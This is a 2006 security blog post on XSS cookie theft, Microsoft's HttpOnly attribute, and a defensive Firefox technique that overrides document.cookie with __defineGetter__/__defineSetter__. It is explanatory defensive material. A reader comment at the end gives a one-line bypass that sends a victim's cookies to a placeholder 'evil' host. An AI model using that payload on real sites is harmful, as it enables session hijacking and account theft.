THP Wisec USH DigitalBullets TheHackersPlace network
The WIse SECurity
Wisec Home SecSearch Projects Papers Security Thoughts
News Search on Wisec

Security Thoughts

[ Back ]

Wednesday, July 26, 2006, 18:08

HttpOnly and Firefox.

Xss vulnerabilities are often used to get cookies.
Once the attacker use xss to get cokies there are several techniques to apply such as
Session Hijacking .
A classical example to collect cookies by XSS is:

var img=new Image();

These two lines of js code, force browser to create an image and request for an image to the specified address.
If is controlled by a malicious user, *he will obtain victim's cookie without victim's authorization.
To understand how much this technique is dangerous, just think about sessions.

Some time ago Microsoft implemented, since IE 6 SP1, a new keyword to try to mitigte such problem.

How it works.
If our Web Server sends a cookie with HttpOnly attribute like the following:

Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

IE sees it and blocks cookie access from Javscript.
This way it's no more allowed to read the cookie from 'document.cookie' js statement.

Yes, there are ways to bypass HttpOnly. But it's really easy to block TRACE method by configuration settings so these attacks are easy to mitigate or stop at all.

Just a Little Warning: we are talking exclusively about stopping of cookies attack. Xss are far more dangerous.

Mozilla developers are stuck about this. They actually won't implement HttpOnly on Mozilla/Firefox..
Thanks to Ascii with whom some day ago we had some discussion about
blocking XSS, i went deeply into Javascript paradigms and matters.

Mozilla developers are really great, because they implemented w3c specification in a neat way.
They create a JS framework really simple and useful.
For our purpose, they implemented prototyping functions to allow web developers to define classes and object
easily and smartly (?).
Let's talk about __defineGetter__ and __defineSetter__ by applying them to cookies.


__defineGetter__ : It allows to define a function to be called (namely callback) every time the value of the variable is requested.

__defineSetter__ : It allows to define a function to be called (namely callback) every time a new value is assigned to the variable.


HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});

will block every request to document.cookie from within js.

E.g. in php:
HTMLDocument.prototype.__defineGetter__("cookie",function (){return "sorry";});

Will display an alert with "sorry" rather than our cookie original value, but internally, Mozilla/Firefox will mantain the original
cookie value internally.

And what about __defineSetter__?
It could be used to mitigate Session Fixation or other client side
cookie tampering techniques.
That is, if we don't want the cookie to be tampered from within javascript, we could use the following:

HTMLDocument.prototype.__defineSetter__("cookie",function (new){});

E.g. in php:
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});

This approach however, is useless as cookies could be assigned from html by using:
<meta http-equiv="Set-Cookie" content="value=n;path=/">

Anyway if we filter out "meta" tags on user input this technique could block or at least mitigate cookie tampering via html.

Getter and Setter could be used to block functions, too, for example think about XmlHttpRequest & co.
There is, of course, a little drawback, as every access to the blocked vars and functions are denied from javascript.

Unfortunately, __defineGetter__ and __defineSetter__ aren't implemented on all browsers (read MSIE). i long for a _real_ standard js implementation on all browsers...:(


n/a, Friday, August 04, 2006, 04:05

Minimalistic bypass:

document.body.innerHTML="<iframe>";(new Image).src="http://evil/?"+ frames[0].document.cookie;

Comments are disabled

Admin login | This weblog is from

Wisec is brought to you by...

Wisec is written and mantained by Stefano Di Paola.

Wisec uses open standards, including XHTML, CSS2, and XML-RPC.

All Rights Reserved 2004
All hosted messages and metadata are owned by their respective authors.